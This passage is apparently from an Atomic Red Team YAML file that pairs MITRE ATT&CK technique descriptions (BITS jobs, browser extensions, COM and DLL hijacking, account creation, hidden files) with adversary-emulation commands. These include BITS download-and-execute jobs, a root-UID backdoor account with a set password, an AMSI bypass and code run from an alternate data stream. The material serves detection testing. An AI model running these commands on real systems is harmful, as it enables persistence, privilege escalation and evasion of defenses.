url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
- source_name: Microsoft BITS
description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved
January 12, 2018.
url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
- source_name: Microsoft BITSAdmin
description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.
url: https://msdn.microsoft.com/library/aa362813.aspx
- source_name: CTU BITS Malware June 2016
description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers
with BITS. Retrieved January 12, 2018.
url: https://www.secureworks.com/blog/malware-lingers-with-bits
- source_name: Mondok Windows PiggyBack BITS May 2007
description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background
Intelligent Transfer Service. Retrieved January 12, 2018.
url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
- source_name: Symantec BITS May 2007
description: Florio, E. (2007, May 9). Malware Update with Windows Update.
Retrieved January 12, 2018.
url: https://www.symantec.com/connect/blogs/malware-update-windows-update
- source_name: PaloAlto UBoatRAT Nov 2017
description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia.
Retrieved January 12, 2018.
url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
- source_name: Microsoft Issues with BITS July 2011
description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January
12, 2018.
url: https://technet.microsoft.com/library/dd939934.aspx
x_mitre_defense_bypassed:
- Firewall
- Host forensic analysis
identifier: T1197
atomic_tests:
- name: Download & Execute
description: |
This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload
supported_platforms:
- windows
input_arguments:
remote_file:
description: Remote file to download
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
local_file:
description: Local file path to save downloaded file
type: path
default: C:\Windows\Temp\bitsadmin_flag.ps1
executor:
name: command_prompt
command: 'bitsadmin.exe /transfer /Download /priority Foreground #{remote_file}
#{local_file}
'
- name: Download & Execute via PowerShell BITS
description: |
This test simulates an adversary leveraging bitsadmin.exe to download
and execute a payload leveraging PowerShell
supported_platforms:
- windows
input_arguments:
remote_file:
description: Remote file to download
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
local_file:
description: Local file path to save downloaded file
type: path
default: C:\Windows\Temp\bitsadmin_flag.ps1
executor:
name: powershell
command: 'Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination
#{local_file}
'
- name: Persist, Download, & Execute
description: |
This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transfer
and execute a payload in multiple steps. This job will remain in the BITS queue for 90 days by default if not removed.
supported_platforms:
- windows
input_arguments:
bits_job_name:
description: Name of BITS job
type: string
default: AtomicBITS
remote_file:
description: Remote file to download
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
local_file:
description: Local file path to save downloaded file
type: path
default: C:\Windows\Temp\bitsadmin_flag.ps1
command_path:
description: Path of command to execute
type: path
default: C:\Windows\system32\notepad.exe
command_line:
description: Command line to execute
type: string
default: C:\Windows\Temp\bitsadmin_flag.ps1
executor:
name: command_prompt
command: |
bitsadmin.exe /create #{bits_job_name}
bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}
bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} #{command_line}
bitsadmin.exe /complete AtomicBITS
bitsadmin.exe /resume #{bits_job_name}
T1176:
technique:
x_mitre_data_sources:
- Network protocol analysis
- Packet capture
- System calls
- Process use of network
- Process monitoring
- Browser extensions
x_mitre_permissions_required:
- User
name: Browser Extensions
description: |-
Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)
Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).
id: attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.
Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Justin Warner, ICEBRG
created: '2018-01-16T16:13:52.465Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1176
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1176
- source_name: Wikipedia Browser Extension
description: Wikipedia. (2017, October 8). Browser Extension. Retrieved January
11, 2018.
url: https://en.wikipedia.org/wiki/Browser_extension
- source_name: Chrome Extensions Definition
description: Chrome. (n.d.). What are Extensions?. Retrieved November 16,
2017.
url: https://developer.chrome.com/extensions
- source_name: Malicious Chrome Extension Numbers
description: Jagpal, N., et al. (2015, August). Trends and Lessons from Three
Years Fighting Malicious Extensions. Retrieved November 17, 2017.
url: https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf
- source_name: Chrome Extension Crypto Miner
description: Brinkmann, M. (2017, September 19). First Chrome extension with
JavaScript Crypto Miner detected. Retrieved November 16, 2017.
url: https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/
- source_name: ICEBRG Chrome Extensions
description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME
EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL
BUSINESSES. Retrieved January 17, 2018.
url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
- source_name: Banker Google Chrome Extension Steals Creds
description: Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting.
Retrieved November 18, 2017.
url: https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/
- source_name: Catch All Chrome Extension
description: Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension
Steals All Posted Data. Retrieved November 16, 2017.
url: https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)
- source_name: Stantinko Botnet
description: 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware
campaign operating covertly since 2012. Retrieved November 16, 2017.'
url: https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/
- source_name: Chrome Extension C2 Malware
description: 'Kjaer, M. (2016, July 18). Malware in the browser: how you might
get hacked by a Chrome extension. Retrieved November 22, 2017.'
url: https://kjaer.io/extension-malware/
modified: '2019-07-16T20:22:19.705Z'
identifier: T1176
atomic_tests:
- name: Chrome (Developer Mode)
description: ''
supported_platforms:
- linux
- windows
- macos
executor:
name: manual
steps: |
1. Navigate to [chrome://extensions](chrome://extensions) and
tick 'Developer Mode'.
2. Click 'Load unpacked extension...' and navigate to
[Browser_Extension](../t1176/)
3. Click 'Select'
- name: Chrome (Chrome Web Store)
description: ''
supported_platforms:
- linux
- windows
- macos
executor:
name: manual
steps: |
1. Navigate to https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend
in Chrome
2. Click 'Add to Chrome'
- name: Firefox
description: 'Create a file called test.wma, with the duration of 30 seconds
'
supported_platforms:
- linux
- windows
- macos
executor:
name: manual
steps: |
1. Navigate to [about:debugging](about:debugging) and
click "Load Temporary Add-on"
2. Navigate to [manifest.json](./manifest.json)
3. Then click 'Open'
T1042:
technique:
x_mitre_data_sources:
- Windows Registry
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
name: Change Default File Association
description: |-
When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
System file associations are listed under HKEY_CLASSES_ROOT\.[extension], for example HKEY_CLASSES_ROOT\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]\shell\[action]\command. For example:
* HKEY_CLASSES_ROOT\txtfile\shell\open\command
* HKEY_CLASSES_ROOT\txtfile\shell\print\command
* HKEY_CLASSES_ROOT\txtfile\shell\printto\command
The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)
id: attack-pattern--68c96494-1a50-403e-8844-69a6af278c68
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: "Collect and analyze changes to Registry keys that associate
file extensions to default applications for execution and correlate with unknown
process launch activity or unusual file types for that process. \n\nUser file
association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts
and override associations configured under [HKEY_CLASSES_ROOT].
Changes to a user's preference will occur under this entry's subkeys.\n\nAlso
look for abnormal process call trees for execution of other commands that
could relate to Discovery actions or other techniques."
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Stefan Kanthak
- Travis Smith, Tripwire
created: '2017-05-31T21:30:42.222Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1042
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1042
- external_id: CAPEC-556
source_name: capec
url: https://capec.mitre.org/data/definitions/556.html
- description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions.
Retrieved November 13, 2014.
source_name: Microsoft File Handlers
url: http://msdn.microsoft.com/en-us/library/bb166549.aspx
- description: Microsoft. (n.d.). Change which programs Windows 7 uses by default.
Retrieved July 26, 2016.
source_name: Microsoft Change Default Programs
url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
- description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August
7, 2018.
source_name: Microsoft Assoc Oct 2017
url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
- description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August
8, 2018.
source_name: TrendMicro TROJ-FAKEAV OCT 2012
url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd
modified: '2018-10-17T00:14:20.652Z'
identifier: T1042
atomic_tests:
- name: Change Default File Association
description: 'Change Default File Association From cmd.exe
'
supported_platforms:
- windows
input_arguments:
extension_to_change:
description: File Extension To Hijack
type: String
default: ".wav"
target_exenstion_handler:
description: Thing To Open
type: Path
default: C:\Program Files\Windows Media Player\wmplayer.exe
executor:
name: command_prompt
elevation_required: false
command: 'cmd.exe /c assoc #{extension_to_change}="#{target_exenstion_handler}"
'
T1122:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- Windows Registry
- DLL monitoring
- Loaded DLLs
name: Component Object Model Hijacking
description: 'The Component Object Model (COM) is a system within Windows to
enable interaction between software components through the operating system.
(Citation: Microsoft Component Object Model) Adversaries can use this system
to insert malicious code that can be executed in place of legitimate software
through hijacking the COM references and relationships as a means for persistence.
Hijacking a COM object requires a change in the Windows Registry to replace
a reference to a legitimate system component which may cause that component
to not work when executed. When that system component is executed through
normal system operation the adversary''s code will be executed instead. (Citation:
GDATA COM Hijacking) An adversary is likely to hijack objects that are used
frequently enough to maintain a consistent level of persistence, but are unlikely
to break noticeable functionality within the system as to avoid system instability
that could lead to detection.'
id: attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69
modified: '2019-04-18T16:41:28.889Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: 'There are opportunities to detect COM hijacking by searching
for Registry references that have been replaced and through Registry operations
replacing know binary paths with unknown paths. Even though some third party
applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\
may be anomalous and should be investigated since user objects will be loaded
prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.
(Citation: Endgame COM Hijacking) Registry entries for existing COM objects
may change infrequently. When an entry with a known good path and binary is
replaced or changed to an unusual value to point to an unknown binary in a
new location, then it may indicate suspicious behavior and should be investigated.
Likewise, if software DLL loads are collected and analyzed, any unusual DLL
load that can be correlated with a COM object Registry modification may indicate
COM hijacking has been performed.'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- ENDGAME
created: '2017-05-31T21:31:33.979Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1122
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1122
- source_name: Microsoft Component Object Model
description: Microsoft. (n.d.). The Component Object Model. Retrieved August
18, 2016.
url: https://msdn.microsoft.com/library/ms694363.aspx
- source_name: GDATA COM Hijacking
description: 'G DATA. (2014, October). COM Object hijacking: the discreet
way of persistence. Retrieved August 13, 2016.'
url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
- source_name: Endgame COM Hijacking
description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting
Persistence & Evasion with the COM. Retrieved September 15, 2016.'
url: https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com
x_mitre_defense_bypassed:
- Autoruns Analysis
identifier: T1122
atomic_tests:
- name: Component Object Model Hijacking
description: 'Hijack COM Object used by certutil.exe
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
reg import ..\src\COMHijack.reg
certutil.exe -CAInfo
cleanup_command: 'reg import ..\src\COMHijackCleanup.reg
'
T1136:
technique:
x_mitre_permissions_required:
- Administrator
x_mitre_data_sources:
- Office 365 account logs
- Azure activity logs
- AWS CloudTrail logs
- Process monitoring
- Process command-line parameters
- Authentication logs
- Windows event logs
name: Create Account
description: |-
Adversaries with a sufficient level of access may create a local system, domain, or cloud tenant account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.
In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.
### Windows
The net user commands can be used to create a local or domain account.
### Office 365
An adversary with access to a Global Admin account can create another account and assign it the Global Admin role for persistent access to the Office 365 tenant.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)
id: attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67
x_mitre_platforms:
- Linux
- macOS
- Windows
- AWS
- GCP
- Azure AD
- Azure
- Office 365
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2'
type: attack-pattern
x_mitre_detection: |-
Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.
Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Microsoft Threat Intelligence Center (MSTIC)
- Praetorian
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- source_name: mitre-attack
external_id: T1136
url: https://attack.mitre.org/techniques/T1136
- description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et.
al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.
source_name: Microsoft O365 Admin Roles
url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
- description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.
source_name: Microsoft Support O365 Add Another Admin, October 2019
url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d
- description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
was created. Retrieved June 30, 2017.'
source_name: Microsoft User Creation Event
url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
modified: '2019-10-18T18:48:44.770Z'
identifier: T1136
atomic_tests:
- name: Create a user account on a Linux system
description: 'Create a user via useradd
'
supported_platforms:
- linux
input_arguments:
username:
description: Username of the user to create
type: String
default: evil_user
comment:
description: Comment to record when creating the user
type: String
default: Evil Account
executor:
name: bash
command: 'useradd -M -N -r -s /bin/bash -c "#{comment}" #{username}
'
- name: Create a user account on a MacOS system
description: 'Creates a user on a MacOS system with dscl
'
supported_platforms:
- macos
input_arguments:
username:
description: Username of the user to create
type: String
default: evil_user
realname:
description: "'realname' to record when creating the user"
type: String
default: Evil Account
executor:
name: bash
command: |
dscl . -create /Users/#{username}
dscl . -create /Users/#{username} UserShell /bin/bash
dscl . -create /Users/#{username} RealName "#{realname}"
dscl . -create /Users/#{username} UniqueID "1010"
dscl . -create /Users/#{username} PrimaryGroupID 80
dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}
- name: Create a new user in a command prompt
description: 'Creates a new user in a command prompt
'
supported_platforms:
- windows
input_arguments:
username:
description: Username of the user to create
type: String
default: Evil Account
executor:
name: command_prompt
elevation_required: true
command: 'net user /add #{username}
'
- name: Create a new user in PowerShell
description: 'Creates a new user in PowerShell
'
supported_platforms:
- windows
input_arguments:
username:
description: Username of the user to create
type: String
default: Evil Account
executor:
name: powershell
elevation_required: true
command: |
New-LocalUser -Name #{username} -NoPassword
net user /add #{username}
- name: Create a new user in Linux with `root` UID and GID.
description: 'Creates a new user in Linux and adds the user to the `root` group.
This technique was used by adversaries during the Butter attack campaign.
'
supported_platforms:
- linux
input_arguments:
username:
description: Username of the user to create
type: String
default: butter
password:
description: Password of the user to create
type: String
default: BetterWithButter
executor:
name: bash
command: |-
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash #{username}
echo "#{password}" | passwd --stdin #{username}
T1038:
technique:
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
x_mitre_data_sources:
- File monitoring
- DLL monitoring
- Process monitoring
- Process command-line parameters
name: DLL Search Order Hijacking
description: "Windows systems use a common method to look for required DLLs
to load into a program. (Citation: Microsoft DLL Search) Adversaries may take
advantage of the Windows DLL search order and programs that ambiguously specify
DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform
DLL preloading, also called binary planting attacks, (Citation: OWASP Binary
Planting) by placing a malicious DLL with the same name as an ambiguously
specified DLL in a location that Windows searches before the legitimate DLL.
Often this location is the current working directory of the program. Remote
DLL preloading attacks occur when a program sets its current directory to
a remote location such as a Web share before loading a DLL. (Citation: Microsoft
2269637) Adversaries may use this behavior to cause the program to load a
malicious DLL. \n\nAdversaries may also directly modify the way a program
loads DLLs by replacing an existing DLL or modifying a .manifest or .local
redirection file, directory, or junction to cause the program to load a different
DLL to maintain persistence or privilege escalation. (Citation: Microsoft
DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search
Order)\n\nIf a search order-vulnerable program is configured to run at a higher
privilege level, then the adversary-controlled DLL that is loaded will also
be executed at the higher level. In this case, the technique could be used
for privilege escalation from user to administrator or SYSTEM or from administrator
to SYSTEM, depending on the program.\n\nPrograms that fall victim to path
hijacking may appear to behave normally because malicious DLLs may be configured
to also load the legitimate DLLs they were meant to replace."
id: attack-pattern--46944654-fcc1-4f63-9dad-628102376586
modified: '2019-07-24T15:07:22.266Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Ability to add a DLL, manifest file, or .local file, directory, or junction.
type: attack-pattern
x_mitre_detection: Monitor file systems for moving, renaming, replacing, or
modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared
with past behavior) that do not correlate with known software, patches, etc.,
are suspicious. Monitor DLLs loaded into a process and detect DLLs that have
the same file name but abnormal paths. Modifications to or creation of .manifest
and .local redirection files that do not correlate with software updates are
suspicious.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Stefan Kanthak
- Travis Smith, Tripwire
created: '2017-05-31T21:30:40.604Z'
x_mitre_effective_permissions:
- User
- Administrator
- SYSTEM
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1038
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1038
- source_name: capec
external_id: CAPEC-471
url: https://capec.mitre.org/data/definitions/471.html
- source_name: Microsoft DLL Search
description: Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved
November 30, 2014.
url: http://msdn.microsoft.com/en-US/library/ms682586
- source_name: OWASP Binary Planting
description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
2016.
url: https://www.owasp.org/index.php/Binary_planting
- source_name: Microsoft 2269637
description: Microsoft. (2010, August 22). Microsoft Security Advisory 2269637
Released. Retrieved December 5, 2014.
url: http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx
- source_name: Microsoft DLL Redirection
description: Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved
December 5, 2014.
url: http://msdn.microsoft.com/en-US/library/ms682600
- source_name: Microsoft Manifests
description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
url: https://msdn.microsoft.com/en-US/library/aa375365
- source_name: Mandiant Search Order
description: Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited.
Retrieved December 5, 2014.
url: https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/
x_mitre_defense_bypassed:
- Process whitelisting
identifier: T1038
atomic_tests:
- name: DLL Search Order Hijacking - amsi.dll
description: |
Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version
of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe
copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
cmd.exe /k %APPDATA%\updater.exe
T1158:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Hidden Files and Directories
description: |-
To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).
Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.
### Windows
Users can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.
### Linux/Mac
Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.
### Mac
Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).
Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
id: attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: persistence
x_mitre_detection: Monitor the file system and shell commands for files being
created with a leading "." and the Windows command-line use of attrib.exe
to add the hidden attribute.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
modified: '2018-10-31T13:45:13.024Z'
external_references:
- external_id: T1158
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1158
- description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
source_name: Sofacy Komplex Trojan
url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
- description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
code. Retrieved July 5, 2017.
source_name: Antiquated Mac Malware
url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
- description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
Retrieved July 10, 2017.'
source_name: WireLurker
url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
x_mitre_defense_bypassed:
- Host forensic analysis
identifier: T1158
atomic_tests:
- name: Create a hidden file in a hidden directory
description: 'Creates a hidden file inside a hidden directory
'
supported_platforms:
- linux
- macos
executor:
name: sh
command: |
mkdir .hidden-directory
echo "this file is hidden" > .hidden-directory/.hidden-file
- name: Mac Hidden file
description: 'Hide a file on MacOS
'
supported_platforms:
- macos
executor:
name: sh
command: 'sudo xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00
00 00 40 00 FF FF FF FF 00 00"
'
- name: Hidden file
description: 'mv file to a .file
'
supported_platforms:
- macos
- linux
input_arguments:
filename:
description: path of file to hide
type: path
default: "/tmp/evil"
output_filename:
description: output path of file
type: path
default: "/tmp/evil"
executor:
name: sh
command: 'mv #{filename} .#{output_filename}
'
- name: Create Windows System File with Attrib
description: 'Creates a file and marks it as a system file using the attrib.exe
utility.
'
supported_platforms:
- windows
input_arguments:
filename:
description: path of file to mark as system
type: path
default: C:\Temp\sensitive_file.txt
executor:
name: command_prompt
elevation_required: false
command: 'attrib.exe +s #{filename}
'
- name: Create Windows Hidden File with Attrib
description: 'Creates a file and marks it as hidden using the attrib.exe utility.
'
supported_platforms:
- windows
input_arguments:
filename:
description: path of file to mark as hidden
type: path
default: C:\Temp\sensitive_file.txt
executor:
name: command_prompt
elevation_required: false
command: 'attrib.exe +h #{filename}
'
- name: Hidden files
description: 'Requires Apple Dev Tools
'
supported_platforms:
- macos
input_arguments:
filename:
description: path of file to hide
type: path
default: "/tmp/evil"
executor:
name: sh
command: 'setfile -a V #{filename}
'
- name: Hide a Directory
description: 'Hide a directory on MacOS
'
supported_platforms:
- macos
input_arguments:
filename:
description: path of file to hide
type: path
default: "/tmp/evil"
executor:
name: sh
command: 'chflags hidden #{filename}
'
- name: Show all hidden files
description: 'Show all hidden files on MacOS
'
supported_platforms:
- macos
executor:
name: sh
command: 'defaults write com.apple.finder AppleShowAllFiles YES
'
- name: Create Visible Directories
description: 'Create visible directories on MacOS and Linux
'
supported_platforms:
- macos
- linux
executor:
name: sh
command: |
mkdir visible-directory
echo "this file is visible" > visible-directory/visible-file
ls
ls visible-directory
- name: Create hidden directories and files
description: 'Create hidden directories and files on Nix platforms
'
supported_platforms:
- macos
- linux
executor:
name: sh
command: |
mkdir .hidden-directory
echo "this file is hidden" > .hidden-directory/.hidden-file
ls -la
ls -la .hidden-directory
- name: Create ADS command prompt
description: 'Create an Alternate Data Stream with the command prompt. Write
access is required.
'
supported_platforms:
- windows
input_arguments:
file_name:
description: File name of file to create ADS on.
type: string
default: test.txt
ads_filename:
description: Name of ADS file.
type: string
default: adstest.txt
executor:
name: command_prompt
elevation_required: false
command: |
echo "Normal Text." > #{file_name}
echo cmd /c echo "Shell code execution."> #{file_name}:#{ads_filename}
for /f "usebackq delims=φ" %i in (#{file_name}:#{ads_filename}) do %i
cleanup_command: 'del #{file_name}
'
- name: Create ADS PowerShell
description: 'Create an Alternate Data Stream with PowerShell. Write access
is required.
'
supported_platforms:
- windows
input_arguments:
